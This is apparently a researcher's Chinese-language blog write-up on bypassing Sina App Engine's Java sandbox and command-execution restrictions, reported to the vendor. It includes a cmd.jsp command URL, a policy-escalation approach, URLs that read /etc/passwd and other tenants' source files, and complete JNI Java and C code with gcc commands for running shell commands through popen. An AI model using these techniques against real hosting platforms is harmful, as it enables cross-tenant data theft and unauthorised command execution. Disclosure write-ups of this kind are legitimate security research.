摘要 谢各位捧场,经过努力,作者已经打到了第三关,这一关叫做“命令执行关”。也不知道是因为作者描述不清楚,还是SAE的理解出现偏差,我们没有直接沟通过,只是作者写篇文章,先交给那边“审核”,“审核”通过后,才发布了,所有的交流,都仅限于文章本身。这种沟通的障碍,是此次绕过安全防御的起始。在作者的第二关:《SAE云服务安全沙箱绕过2(利用crackClassLoader)》(http://www.inbreak.net /archives/411)一文中,提到利用crackClassLoader,绕过java安全沙箱的例子,文末作者以一个命令的成功执行结尾,并且使用cat命令,打出了其他云用户的首页。 正文 SAE看到了禁止命令执行的重要性。在本文的开始,先查看SAE的环境和限制。 上传一个命令执行的JSP页面,打开:
http://1.cracksae.sinaapp.com/cmd.jsp?cmd=id
返回:
这个错误信息,完全不同于原本JAVA沙盒的权限异常信息,并非是java标准沙盒导致的标准权限异常,所以绕过的思路,和标准沙盒肯定不一致。
从错误提示中,可以推测,SAE在runtime.exec函数的执行层面做了限制(包括processBuilder.start()也有限制)。注意,是针对这个函数做的限制,按照之前的思想,作者要做的,当然是绕过这个函数。SAE也是这么认为的,但是,SAE开发人员和作者理解的细节上有偏差。上篇文章,作者发给SAE,内容写到绕过了SAE的沙盒环境,注意是SAE的JAVA沙盒环境。文章原意是,绕过沙盒后,可以做很多事情,而执行 cmd仅仅是其中一种罢了。SAE理解为,不让恶意用户执行cmd命令,就可以防止绕过了,昏倒。
作者认为,SAE是云,云安全需要保护的,是用户的数据,至于能不能执行命令,其实是次要的。站在云安全的立场,作者认为,执行系统命令神马的,是web时代的黑客干的,云时代,大家要做的,起码是把云上用户的数据弄出来。
比如,可以读取任意文件:
普通的文件操作,在没有bypass之前,出现了沙盒的错误信息。如果开发人员和作者推测的一致,仅仅针对exec做限制,那就可能没有原来的沙盒策略,仅仅禁止了exec执行命令的函数,这相当于修改了JRE环境。
BYPASS沙盒
这次为了使用方便,作者把文章《SAE云服务安全沙箱绕过2(利用crackClassLoader)》(http://www.inbreak.net/archives/411)中setPolicy这段代码,单独拎出来写好放上去。在web应用环境中,权限设置是针对当前web应用下所有class的,所以只要成功设置了AllPermissions策略,后面文件操作什么的,就统统不再限制了。 第一步执行设置策略setPolicy代码,代码上一篇文章有,这里不再提了,在ExpPermissions2类中有的,这次只是写了个JSP直接调用提权。
提权后,传一个文件浏览器,就可以直接显示:
这说明SAE真的和作者推测的一致,仅仅限制了EXEC命令执行,这对于云来说,相当于不限制。
上图是读取/etc/passwd的内容,进一步列目录,可以到用户的目录中,读取用户的数据。从这里看到,我们已经可以管理其他云用户的文件了。
http://1.bypass3.sinaapp.com/bypass3forfile.jsp?action=fileread& filename=/data1/jetty_work/201/某用户/jetty-0.0.0.0- balabalaXXXXXOOOOOs.war-_1_webrss-any-/webapp/do.jsp
访问上面URL,可以读取云用户“某用户”的do.jsp页面源码:
其实bypass到这里,就已经破防了,但是为了技术研究,以及提醒SAE不要做这样掩耳盗铃的方案,作者又做了一件事情。Sae的开发人员认为,限制了Runtime.exec()函数后,就无法执行系统命令了,但是真是这样么?
命令执行
Java可以调用c语言的动态库,加载进来后,相当于直接使用c语言代码,SAE只限制了exec,bypass这个限制的思路就是调用c语言的动态库。
首先要一个java文件:
package net.inbreak;
public class Loadlab {
static {
try {
System.load("/root/javaso/libLoadlab.so");
} catch (UnsatisfiedLinkError e) {
System.err.println("Cannot load command library:\n " + e.toString());
}
}
public Loadlab() {
}
public native String SayHello(String cmd);
}
这个文件加载了/root/javaso/libLoadlab.so,这里需要改为SAE上,web目录的绝对地址,使用“<%=application.getRealPath("/")%>”,在jsp上拿到即可。
然后生成jni的头文件 执行
javah -jni net.inbreak.Loadlab
生成了“net_inbreak_Loadlab.h”
/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class net_inbreak_Loadlab */
#ifndef _Included_net_inbreak_Loadlab
#define _Included_net_inbreak_Loadlab
#ifdef __cplusplus
extern "C" {
#endif
/*
* Class: net_inbreak_Loadlab
* Method: SayHello
* Signature: (Ljava/lang/String;)Ljava/lang/String;
*/
JNIEXPORT jstring JNICALL Java_net_inbreak_Loadlab_SayHello
(JNIEnv *, jobject, jstring);
#ifdef __cplusplus
}
#endif
#endif
根据这个文件,写c代码实现功能,目的是执行系统命令:
#include <stdio.h>
#include <stdlib.h>
#include<string.h>
#include "net_inbreak_Loadlab.h"
#define BUFSIZE 1000
JNIEXPORT jstring JNICALL Java_net_inbreak_Loadlab_SayHello(JNIEnv * env, jobject arg, jstring instring)
{
const char *cmd = (*env)->GetStringUTFChars(env, instring, 0);
/* char buf[1024];
FILE *pp;
char *returnchar=(char*)malloc(10);
if( (pp = popen(cmd, "r")) == NULL )
{
printf("popen() error!\n");
exit(1);
}
while(fgets(buf, sizeof buf, pp))
{
char *ch = (char *) buf;
strcat(returnchar,ch);
}
char *bufc = (char*)malloc(10);
strcpy(bufc, returnchar);
instring = (*env)->NewStringUTF(env, bufc);
pclose(pp);
//convert
*/
FILE *fp;
char buf;
char bufreturn[65535];
if((fp=popen(cmd,"r"))==NULL)
return instring;
int j=0;
while ((buf=fgetc(fp))!=EOF)
{
//memcpy(bufreturn,buf,strlen(buf));
bufreturn[j] = buf;
j++;
}
pclose(fp);
char *chreturn = (char *)bufreturn;
instring = (*env)->NewStringUTF(env, chreturn);
return instring;
}
int main(int argc, char *argv[]){return 0;}
这段c代码,作用是调用popen函数,执行系统命令,并返回一个jstring给JAVA。 最终的结果,和调用Runtime.exec是一致的。 生成命令:
gcc -I/usr/java/jdk1.6.0_33/include -I/usr/java/jdk1.6.0_33/include/linux -fPIC -c net_inbreak_Loadlab.c
然后
gcc -shared -Wl,-soname,libLoadlab.so.1 -o libLoadlab.so net_inbreak_Loadlab.o
生成了libLoadlab.so文件。 这个文件要放进SAE的web目录中,并且在Loadlab.java中加载起来。 写java代码调用测试一下:
public class Setp {
public static void main(String[] args)
{
String name="java.library.path";
System.out.println(System.getProperty(name));
net.inbreak.Loadlab l = new net.inbreak.Loadlab();
System.out.println("haha:"+l.SayHello("ifconfig"));
}
}
本机调用测试成功。
但是在sae上竟然失败,这就不抓图了,原因后来查明(读了一下ifconfig等文件),是因为JAVA在linux层面上的账户,没有执行系统命令的权限,这个才是最狠的禁止命令执行方案,无论如何,都不让用户执行系统命令。作者写这段JNI相关的东西,一个原因是为了记录一下,做个笔记,以后可能用到,另一个原因,是担心SAE又搞出来非主流方案,导致绕过,建议至少要禁掉crackClassLoader。
后面要执行命令,有三个思路: 1、提权。 事实上到这里,本文已经证明了可以读取任意云上的文件,提权可能会引起系统未知错误,毕竟不是一台肉鸡,担心影响SAE的线上服务器,作者没有往下去做。 2、在特殊位置写文件。 Linux系统中,总有几个sh,是管理员偶尔会跑的,我们可以改改内容,达到最终目的,但是这样做,已经偏向渗透路线了,作者的目标是云端的沙盒,并非渗透,所以就此停止。 3、替换SAE的那个做安全验证的代码 这个到是可以做一做,不过这个是作者写文章的时候,才想起来的方案。目前已经修补,作者已经在打第四关了,面对无数的限制,在没有突破前,暂时没机会做了。作者不知道能不能BY PASS第四关的变态关卡,不过肯定要试一试。
总结 云安全主要是为了保护用户的数据,至于执行命令什么的,只是获取用户数据的一种手段,包括沙盒bypass,也只是一种手段,SAE这次被BYPASS,是因为没有理解自己真正要保护的内容,往宏观上讲,是没有抓住安全的脉搏,仅仅在技术角度,针对作者的文章,做了一次技术对抗。 作者这样的人,如果目的是为了破坏,就直接做坏事了,何必写文章发给SAE呢?建议还是在沙盒上想办法,学习google,禁止不该有的权限,达到最终目的。最后说明下,本文的题目叫做“SAE云服务安全沙箱绕过3(绕过命令执行防御) “,事实上本文从头到尾都没有绕过”命令执行防御“,但是既然SAE在这里犯了错,所以就叫这个题目了。 By 空虚浪子心 http://www.inbreak.net/ 微博http://t.qq.com/javasecurity
|